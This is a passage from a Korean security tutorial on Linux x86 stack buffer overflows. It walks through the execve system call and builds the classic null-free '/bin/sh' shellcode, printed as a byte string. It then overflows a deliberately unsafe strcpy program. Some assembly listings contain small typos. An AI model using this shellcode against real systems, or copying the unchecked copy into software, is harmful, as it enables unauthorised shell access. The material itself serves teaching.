주소를 이면서 char *name[2]의 주소인것을 eax에 넣게 됩니다. 그다음은 여러분이 알고 계신것 처럼 스택에 그주소를 넣게 되는 pushl $eax명령을 수행했습니다. 다음에 나오는 두줄의 명령은 위의 명령과 똑같지만 사실 그 의미는 상당히 다릅니다. 앞에 나온 두줄의 의미는 C프로그램의 execve의 두번째 인수인 name을 의미하고 지금 나온 인수의 의미는 "/bin/sh"의 주소를 의미합니다. 여기에서는 그 주소가 똑같기 때문에 이렇게 같은명령어가 두줄씩 반복되어서 보이는 것입니다. 다음에 나타나는 명령어는 call execve입니다. 바로 execve함수를 부르는 것입니다. call명령이 사용되면 call명령이 있는 다음 위치의 주소(여기서는 0x80481da입니다.)가 스택에 자동적으로 저장됩니다. 그래서 execve에서 돌아오게 되면 addl $16, %esp를 실행하게 되는 것입니다. 이 명령은 execve를 부르기 위해서 스택에 어떤 값들을 계속해서 넣기많 했습니다. 무엇무엇을 넣었는지 다시 한번 살펴볼까요? NULL, name의 주소, "/bin/sh"의 주소, call이 불려지면서 다음 실행하게될 위치의 주소 이렇게 4가지의 주소를 스택에 넣었습니다. 여기에서 1개의 주소는 4바이트의 크기를 지니게 됩니다. 따라서 call명령을 실행하고 난뒤에는 지금까지 스택에 넣은 16바이트(4 * 4)는 의미가 없으므로 지우는 과정을 하게 되는 것입니다. (addl명령, 즉 인수2에게 인수1을 더하는 것인데, 왜 그런지는 그림3이나 그림4등을 자세히 보시면 이해가 가실겁니다.)
4.1.2 execve함수의 동작과정
이제 main함수의 구조는 파악이 되셨을 테고 execve프로시져의 내용을 확인해 봐야겠죠?....(머리 아파도 조금만 참아요..^^) 아까 처럼 gdb를 이용해서 execve가 있는곳을 역어셈블 해서 보도록 하겠습니다.
------------------------------------------------------------------------
줄번호 주소 명령어
------------------------------------------------------------------------
1 0x804c90c : push %ebp
2 0x804c90d : mov %esp,%ebp
3 0x804c90f : sub $0x10,%esp
4 0x804c912 : push %edi
5 0x804c913 : push %ebx
6 0x804c914 : mov 0x8(%ebp),%edi
7 0x804c917 : mov $0x0,%eax
8 0x804c91c : test %eax,%eax
9 0x804c91e : je 0x804c925
10 0x804c920 : call 0x0
11 0x804c925 : mov 0xc(%ebp),%ecx
12 0x804c928 : mov 0x10(%ebp),%edx
13 0x804c92b : push %ebx
14 0x804c92c : mov %edi,%ebx
15 0x804c92e : mov $0xb,%eax
16 0x804c933 : int $0x80
17 0x804c935 : pop %ebx
18 0x804c936 : mov %eax,%ebx
19 0x804c938 : cmp $0xfffff000,%ebx
20 0x804c93e : jbe 0x804c94e
21 0x804c940 : call 0x8048304 <__errno_location>
22 0x804c945 : neg %ebx
23 0x804c947 : mov %ebx,(%eax)
24 0x804c949 : mov $0xffffffff,%ebx
25 0x804c94e : mov %ebx,%eax
26 0x804c950 : pop %ebx
27 0x804c951 : pop %edi
28 0x804c952 : leave
29 0x804c953 : ret
------------------------------------------------------------------------
<그림11> execve함수의 어셈블리어 코드
위의 코드를 메인함수 처럼 설명하기는 힘들고 execve를 실행하는 과정을 요약하면 다음과 같습니다. 리눅스에서는(다른 시스템도 마찬가지지만) 시스템이 제공하는 어떤기능을 (여기에서는 execve처럼 특정프로그램 화일을 실행하는것을) 수행하기 위해서는 소프트웨어 인터럽트라고 하는 것을 사용합니다. 리눅스에서는 인터럽트 0x80을 사용하고 있고 eax에 인터럽트번호 즉 어떤 기능을 원하는지를 넣어서 실행하게 됩니다. execve는 0x0b(십진수로 11)을 사용합니다. 또한 ebx에는 실행시키고자 하는 프로그램의 주소(여기에서는 6번줄과 14번줄에 의해서 "/bin/sh"의 주소를 말합니다.)를 넣게 됩니다. ecx에는 name[]의 주소(여기에서는 11번 줄입니다.)를 넣게 됩니다. 그리고 마지막 인수인 NULL의 주소는 edx에 넣게 됩니다.(12번줄입니다.)
execve가 실행하는 과정을 일반화 해서 정리하면 다음과 같습니다.
1. NULL로 종료되는 "/bin/sh"을 메모리의 어딘가에 놓는다.
2. "/bin/sh"과 이에 바로 뒤따르는 워드길이(일반적으로 4바이트)만큼의 NULL을 메모리에 위치시킨다.
3. 0x0b를 eax에 넣는다.
4. 1번의 문자열 "/bin/sh"의 위치를 ebx에 넣는다.
5. 2번의 "/bin/sh" + NULL의 위치를 ecx에 넣는다.
6. 2번의 NULL의 위치를 edx에 넣는다.
7. int 0x80을 실행한다.
위의 내용을 어셈블리어로 만들어서 오버플로우 되는 버퍼에 넣고 실행시키면 쉘이 실행되게 됩니다. 그런데 문제는 어떤 이유에 의해서 execve명령이 실패하게 되면 일반적으로 코어덤프를 떨어트리면서 죽게 됩니다. 따라서 위의 명령이 실패하더라도 정상적으로 종료 하기 위해서 C프로그램의 exit(0)함수를 실행하게 됩니다. exit함수는 소프트웨어 인터럽트 0x01을 사용하고 있으며, ebx에 프로그램의 종료코드를 넣으면 됩니다. 지금까지의 내용을 가지고 가상의 어셈블리어 코드를 생각해 보면 다음과 같이 될 수 있습니다.
movl string_addr, string_addr_addr
movb $0x0, null_byte_addr
movl $0x0, null_addr
movl $0x0b, %eax
movl string_addr, %ebx
leal string_addr, %ecx
leal null_string, %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string
4.1.3 쉘코드의 작성
앞에나온 어셈블리어 코드의 문제는 string_addr이나 string_addr_addr과 같이 "/bin/sh"같은 문자열이나 NULL문자열의 위치가 어디인지 알수가 없다는 것입니다. 따라서 위의 코드는 "/bin/sh"의 위치를 알수 있도록 약간 변형이 되어야 합니다. 이를 위해 사용하는것이 jmp명령과 call명령입니다. jmp명령은 메모리상의 특정위치로 실행순서를 이동하는 것이고 call명령은 말씀드리지 않아도 알고 계실겁니다. 두 명령의 특징은 실제 이동할 주소에 대해서 현재 위치를 기준으로 상대위치를 쓸수 있습니다. 다시 말해서 "jmp가 있는 곳에서 부터 10BYTE뒤의 위치부터 실행하라"든지 "call이 있는 위치에서 부터 20BYTE이전으로 실행과정을 옮겨라"라는 형태의 명령어를 사용할 수가 있는것입니다. call명령은 앞에서 말씀드린것 처럼 call명령 다음의 주소를 스택에 넣게 됩니다. 따라서 다음의 그림처럼 "/bin/sh" 문자열이 있는곳 바로 앞에 call명령을 넣고 쉘코드의 제일 앞에서 call명령이 있는곳으로 jmp한다음 call명령에 의해서 "/bin/sh"의 위치를 스택에 push하고나서 popl명령이 있는곳으로 이동하게 되면 "/bin/sh" 문자열이 있는곳의 주소를 획득할 수 있게 됩니다.
+---[jmp to call]
| [popl ] <----------+
| [명령2] |
(1)| [명령3] |(2)
| : |
| : |
+-->[call] ------------+
[/bin/sh]
위의 그림을 기초로 하여 실행가능한 어셈블리어 코드를 작성하면 다음의 <그림12>의 코드가 나오는데, 이코드의 문제점은 코드 중간에 0x00이 포함되어 있다는 것입니다. 이는 gets등의 함수에서 NULL 로 인식이 되고 그 다음에 있는 나머지 코드들을 입력 받지 않게 됩니다. 따라서 0x00이 없는 형태의 코드로 다시 수정되어야 합니다. 이것이 <그림13>의 일반적인 쉘코드입니다.
jmp 0x26
popl %esi
movl %esi, 0x8(%esi)
movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)
movl $0xb, %eax
movl %esi, $ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
call -0x2b
.string \"/bin/sh\"
<그림12> 수정전의 쉘코드
jmp 0x1f <---- 변경된 줄에의한 크기 변화
popl %esi
movl %esi, 0x8(%esi)
xorl %eax, %eax <---+ 두줄이 변경됨
movb %eax, 0x7(%esi) | movb $0x0, 0x7(%esi)
movl %eax, 0xc(%esi) <---+ movl $0x0, 0xc(%esi)
movl $0xb, %eax
movl %esi, $ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80
movl $0x1, %eax
xorl %ebx, %ebx <---+ 한줄이 변경되
movl %ebx, %eax <---+ movl $0x0, %ebx
int $0x80
call -0x24 <---- 변경된 줄에의한 크기 변화
.string \"/bin/sh\"
<그림13> NULL이 없이 수정된 쉘코드
위 그림13의 코드를 컴파일하고 gdb등을 이용하여 기계어 코드를 획득한 다음 프로그램에 넣어서 사용하는 것이 expolit들에 들어 있는 쉘코드입니다.
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
<그림14> expolit들이 사용하는 일반적인 쉘코드
이번장은 위의 그림14를 위해서 상당이 많은 내용을 적었습니다. 위에 적은 내용은 일반적인 Intel Linux에서 쉘코드를 작성하는 방법인데, Solaris같은 시스템에서도 같은 방법을 응용하여 쉘코드를 생성하게 됩니다. 이들 쉘코드는 한번 작성이 되면 재사용이 가능한 것들이기 때문에, expolit코드들을 보게 되면 거의 동일한 쉘코드를 사용함을 알 수 있습니다. 이글을 읽고 계시는 여러분들 께서는 여러분만의 쉘코드나 다른 프로그램을 실행하는 코드 정도는 만들수 있도록 공부하셔야만 스크립트키디의 불명예를 벗을수 있습니다.(다른 형태의 쉘코드에 대해서는 다른 문서를 통해서 한번 정리해보도록 하겠습니다.)
4.2 버퍼오버플로우를 시켜보자
지금까지 알아본 스택의 구조와 쉘코드등을 이용해서 버퍼오버플로우를 시켜보도록 하겠습니다. 버퍼오버플로우를 일으키는 프로그램은 편의상 아주 간단한 공격대상 프로그램을 만들고 이것을 공격하겠습니다. 여러분들도 실습을 할 수 있는 시스템에 동일한 환경을 구축해가면서 같이 진행해보시는 것이 도움이 될것 입니다.
#include <stdio.h$gt;
func(char *str)
{
char buf[256];
strcpy(buf, str);
printf("%s\n", buf);
}
int main(int argc, char **argv)
{
func(argv[1]);
}
<예제3> 버퍼오버플로우로 공격가능한 예제프로그램
위의 프로그램은 입력되는 문자열의 크기를 검사하지 않는 strcpy를 사용함으로써 공격대상이 되는 프로그램 입니다. 함수func가 불려졌을때 스택의 구조를 다시한번 살펴보면 다음과 같은 구조로 되어 있을 것입니다.
스택의 꼭대기 [1234] 함수 func에서 사용하는
[5678] buf를 위해서 집어넣은 스택
[....]
[.256]
[sfp ] 프래임포인터(saved frame pointer)
[ret ] main함수의 다음 실행위치
스택의 바닥 [argv] 프로그램 실행시에 넣어준 인수
<그림15> 함수func에서 스택에 들어있는 내용
예제3의 프로그램을 exam3.c라고 하고 컴파일 하고 실행하면 다음과 같은 결과를 얻을 수 있습니다.
river@river:/example$ cc exam3.c -o exam3
river@river:/example$
river@river:/example$./exam3 1234567890
1234567890
river@river:/example$
<그림16> exam3의 실행화면
이제 위의 프로그램에 300개 정도의 문자를 한꺼번에 넣어보도록 하겠습니다.
river@river:/example$./exam3 12345678901234567890123456789012345678901234567890
1234567890123456789012345678901234567890123456789012345678901234567890123456789
0123456789012345678901234567890123456789012345678901234567890123456789012345678
9012345678901234567890123456789012345678901234567890123456789012345678901234567
8901234567890
1234567890123456789012345678901234567890123456789012345678901234567890123456789
0123456789012345678901234567890123456789012345678901234567890123456789012345678
9012345678901234567890123456789012345678901234567890123456789012345678901234567
890123456789012345678901234567890123456789012345678901234567890
세그멘테이션 오류
river@river:/example$
예..생각했던대로 지역침입오류(세그멘테이션 오류)가 발생을 하는군요. 우리는 어째서 이런 결과가 나오는지 앞에서 배웠습니다만, 확인을 위해서 exam3.c프로그램을 수정해서 스택의 모양을 다시한번 살펴보도록 하겠습니다.
#include <stdio.h>
#include "dumpcode.h"
func(char *str)
{
char buf[256];
strcpy(buf, str);
dumpcode((char *)get_sp(), 300);
printf("%s\n", buf);
}
int main(int argc, char **argv)
{
func(argv[1]);
}
<예제4> 스택을 보기위해 수정된 소스 exam4.c
스택의 모양을 눈으로 볼수 있도록 하기 위해서 PLUS에서 제공한 dumpcode.h를 이용해서 스택의 내용을 인쇄하도록 약간 수정했습니다. 이제 정상적인 경우와 비정상적인 경우의 스택의 모양을 살펴보겠습니다.
river@river:/example$ ./exam4 1234567890
0xbffff9a8 78 86 04 08 a8 f9 ff bf 2c 01 00 00 d0 30 01 40 x.......,....0.@
0xbffff9b8 01 00 00 00 3c db 01 40 e4 37 01 40 31 32 33 34 ....<..@.7.@1234
0xbffff9c8 35 36 37 38 39 30 00 40 00 82 04 08 9b 9a 02 40 567890.@.......@
0xbffff9d8 8c 1c 02 40 f2 06 00 00 bc 1f 02 40 6c ad 01 40 ...@.......@l..@
0xbffff9e8 e0 35 01 40 03 00 00 00 50 38 01 40 01 00 00 00 .5.@....P8.@....
0xbffff9f8 10 fa ff bf 70 81 04 08 d4 32 01 40 0f 53 8e 07 ....p....2.@.S..
0xbffffa08 a4 fa ff bf 59 82 04 08 8c 1c 02 40 e0 35 01 40 ....Y......@.5.@
0xbffffa18 e0 35 01 40 03 00 00 00 50 38 01 40 01 00 00 00 .5.@....P8.@....
0xbffffa28 40 fa ff bf bc ea 01 40 e4 37 01 40 54 ae ad 02 @......@.7.@T...
0xbffffa38 d4 fa ff bf 7d 61 02 40 bc ea 01 40 e0 35 01 40 ....}a.@...@.5.@
0xbffffa48 e0 35 01 40 03 00 00 00 50 38 01 40 01 00 00 00 .5.@....P8.@....
0xbffffa58 a8 fa ff bf 85 9c 00 40 27 fe 00 40 80 38 01 40 .......@'..@.8.@
0xbffffa68 07 00 00 00 47 82 04 08 7c 15 02 40 e0 35 01 40 ....G...|..@.5.@
0xbffffa78 50 c1 06 40 de 9b 00 40 40 97 04 08 30 30 01 40 P..@...@@...00.@
0xbffffa88 13 08 0e 40 85 9c 00 40 d0 35 01 40 b0 38 01 40 ...@...@.5.@.8.@
0xbffffa98 70 81 04 08 4c 97 04 08 59 82 04 08 fa 02 0e 40 p...L...Y......@
0xbffffaa8 40 97 04 08 30 30 01 40 13 08 0e 40 01 00 00 00 @...00.@...@....
0xbffffab8 ec 02 0e 40 d0 30 01 40 e0 fa ff bf e4 fa ff bf ...@.0.@........
0xbffffac8 ab 86 04 08 68 fc ff